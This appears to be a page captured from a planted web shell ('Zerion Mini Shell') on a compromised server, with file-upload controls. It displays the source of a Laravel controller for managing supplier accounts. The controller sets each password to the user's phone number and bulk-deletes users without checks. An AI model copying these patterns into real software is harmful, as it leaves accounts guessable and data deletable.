%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/usr/local/apache/htdocs/app/Http/Controllers/
Upload File :
Create Path :
Current File : //proc/self/root/usr/local/apache/htdocs/app/Http/Controllers/FournisseurController.php

<?php

namespace App\Http\Controllers;

use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use Illuminate\Support\Facades\Storage;
use Illuminate\Support\Facades\Validator;
use Illuminate\Support\MessageBag;

class FournisseurController extends Controller
{
    public function index()
    {

        $Fournisseurs = User::role('fournisseur')->with('meta')->paginate(20);
        return view('Fournisseurs.index', compact('Fournisseurs'));
    }

    public function store(Request $request, $id=0)
    
    {
   
        $errors = new MessageBag();

        $validator = Validator::make($request->all(), [
            'nbdossierf' => 'required',
            'manager' => 'required',
            'phone' => 'required|unique:users,phone,'.$id,
            'email' => 'required|unique:users,email,'.$id,
            'adress' => 'required',
            'ville' => 'required',
            'date_j' => 'required',
            'cin' => 'required',
            'ice' =>'required',
            'rc' => 'required',
            'upload' => 'required|file',
        ]);

        if ($validator->fails()) {
            return redirect(url()->previous())
                ->withErrors($validator)
                ->withInput();
        }

        if( User::hasMeta('nbdossierf', $request->nbdossierf)->role('fournisseur')->exists()) {
            $errors->add('nbdossier_exists', 'Le nombre de dossier est exists');
            return redirect(url()->previous())
                ->withErrors($errors)
                ->withInput();
        }
        
        $Fournisseur = new User;
        if( $id ) {
            $Fournisseur = User::find($id);
        }

        if( $request->hasFile('upload') )

            $upload = asset(Storage::url( $request->file('upload')->store('public') ));
        else
            $upload = @$request->upload;

        
        if( !$upload ) {
            $errors->add('failed_upload_file', __('errors.failed_upload_file'));
            return redirect(url()->previous())
                ->withErrors($errors)
                ->withInput();
        }

        $validated = $request->only(['name', 'email', 'phone']);

        $validated['password'] = Hash::make($request->phone);

        $meta = $request->only(['nbdossierf', 'manager', 'adress', 'ville','date_j', 'website','rc','ice','cin','remarques']);

        $meta['upload'] = $upload;

        $Fournisseur->fill($validated);

        if ($Fournisseur->save()) {
            $Fournisseur->assignRole('fournisseur');
            $Fournisseur->saveMeta($meta);
            
            return redirect()->route('Fournisseurs')->with('message', __('messages.client_updated_success'));
        
        } else {
            $errors->add('unknown_error', __('errors.unknown_error'));
            return redirect(url()->previous())
                ->withErrors($errors)
                ->withInput();
        }

        return view('edit fournisseurs', ['fournisseur' => $Fournisseur]);
    }


    public function destroy(Request $request)
    
    {
        $data = User::role('fournisseur')->find($request->id);

        if (!$data || !$data->exists()) {

            return redirect()->route('Fournisseurs')->with('error', 'Le fournisseur n\'existe pas');
        
        } else if (!$data->delete()) {

            return redirect()->route('Fournisseurs')->with('error', 'Vous ne pouvez pas supprimer le fournisseur');
        }

        return redirect()->route('Fournisseurs')->with('status', 'Le fournisseur à été supprimer avec succès');
    }

    public function deleteAll(Request $request)
    
    {

        $ids = explode(',', $request->allids);

        if (!User::whereIn('id', $ids)->delete()) {

            return  redirect()->route('Fournisseurs')->with('error', 'Erreur ');
        
        } else {

            return  redirect()->route('Fournisseurs')->with('status', 'vous avez supprimer les fournisseurs avec succès');
        }
    }
}

Zerion Mini Shell 1.0